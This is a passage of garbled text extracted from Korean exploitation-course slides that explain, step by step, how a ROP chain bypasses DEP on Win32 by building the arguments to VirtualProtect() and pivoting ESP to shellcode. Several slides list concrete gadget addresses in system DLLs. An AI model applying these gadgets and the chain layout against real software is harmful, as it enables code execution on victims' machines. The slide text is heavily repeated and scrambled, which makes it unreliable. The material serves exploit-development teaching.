네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
49. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
50. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
51. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
52. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
53. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
54. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
55. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
56. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
57. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 (WWWW) 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
Execution
58. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -1
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
두번째 인자 예약 공간에 값을 덮어씀
59. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -1
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
0x5AD79277:
# PUSH ESP # MOV EAX,EDX # POP EDI # RETN 다섯번째 [Module: 인자값 uxtheme.생성
dll]
0x77C1E842:
# PUSH EDI # POP EAX # POP EBP # RETN [Module: msvcrt.dll]
0x1001653D:
# ADD ESP,20 # RETN [Module: MSRMfilter03.dll]
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
두번째 인자 예약 공간에 값을 덮어씀
ESP를 레지스터에 저장하는 GadgetA-1
인자 생성 코드로 점프하는 GadgetA-2
60. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -1
[ROP-3 코드 참조]
61. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -2
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
두번째 인자 예약 공간에 값을 덮어씀
62. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -2
0x1002DC4C:
# ADD EAX,100 # POP EBP # RETN [Module: MSRMfilter03.세번째 인자값 dll]
생성
0x77E84115:
# MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI
# RETN [Module: RPCRT4.dll]
0x763C982F:
# XCHG ESI,EDI # DEC ECX # RETN 4 [Module: comdlg32.dll]
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
두번째 인자 예약 공간에 값을 덮어씀
첫번째 인자(쉘코드의 주소)값을 생성하는 GadgetC-1
첫번째 인자 예약 공간에 값을 덮어 씌우는 GadgetC-2
첫번째 인자 예약 공간의 주소를 생성하는 GadgetC-3
63. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -2
[ROP-4 코드 참조]
64. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -3
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
65. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -3
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
ESI 레지스터 값을 다시 되돌려놓는 GadgetD-1
0x775D131E:
# PUSH EAX # POP ESI # RETN [Module: ole32.dll]
0x77157D1D:
# INC ESI # RETN [Module: OLEAUT32.dll]
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
ESI를 증가시켜 두번째 인자 예약 공간을 가리키도록 하는 GadgetD-2
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
x4 반복(4bytes)
66. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -3
[ROP-5코드 참조]
67. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -4
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
68. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -4
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
ESI 레지스터 값을 다시 되돌려놓는 GadgetE-1
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
0x775D131E:
# PUSH EAX # POP ESI # RETN [Module: ole32.dll]
0x100307A9:
# XOR EAX,EAX # RETN [Module: MSRMfilt.dll]
0x1002DC4C:
# ADD EAX,100 # POP EBP # RETN [Module: MSRMfilt.dll]
세번째 인자값 300을 생성하는 GadgetE-2
X 3 반복
69. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -5
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
70. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -5
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
Gadget F
ESI 레지스터 값을 다시 되돌려놓는 GadgetF-1
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
0x775D131E:
# PUSH EAX # POP ESI # RETN [Module: ole32.dll]
0x100307A9:
# XOR EAX,EAX # RETN [Module: MSRMfilt.dll]
0x1002DC4C:
# ADD EAX,40 # POP EBP # RETN [Module: MSRMfilt.dll]
세번째 인자값 300을 생성하는 GadgetF-2
71. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -6
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
72. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -6
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
5번째 인자값은 별도의 Gadget 없이 초기 설정 가능
73. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -7
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
74. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -7
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
0x73DF5CA8:
# PUSH EAX # POP ESP # MOV EAX,EDI # POP EDI # POP ESI
# RETN [Module: MFC42.dll]
0x775D12F1:
# SUB EAX,4 # RETN [Module: ole32.dll]
ESP 를 VirtualProtect( ) 시작 위치로 변경하는 GadgetH-1
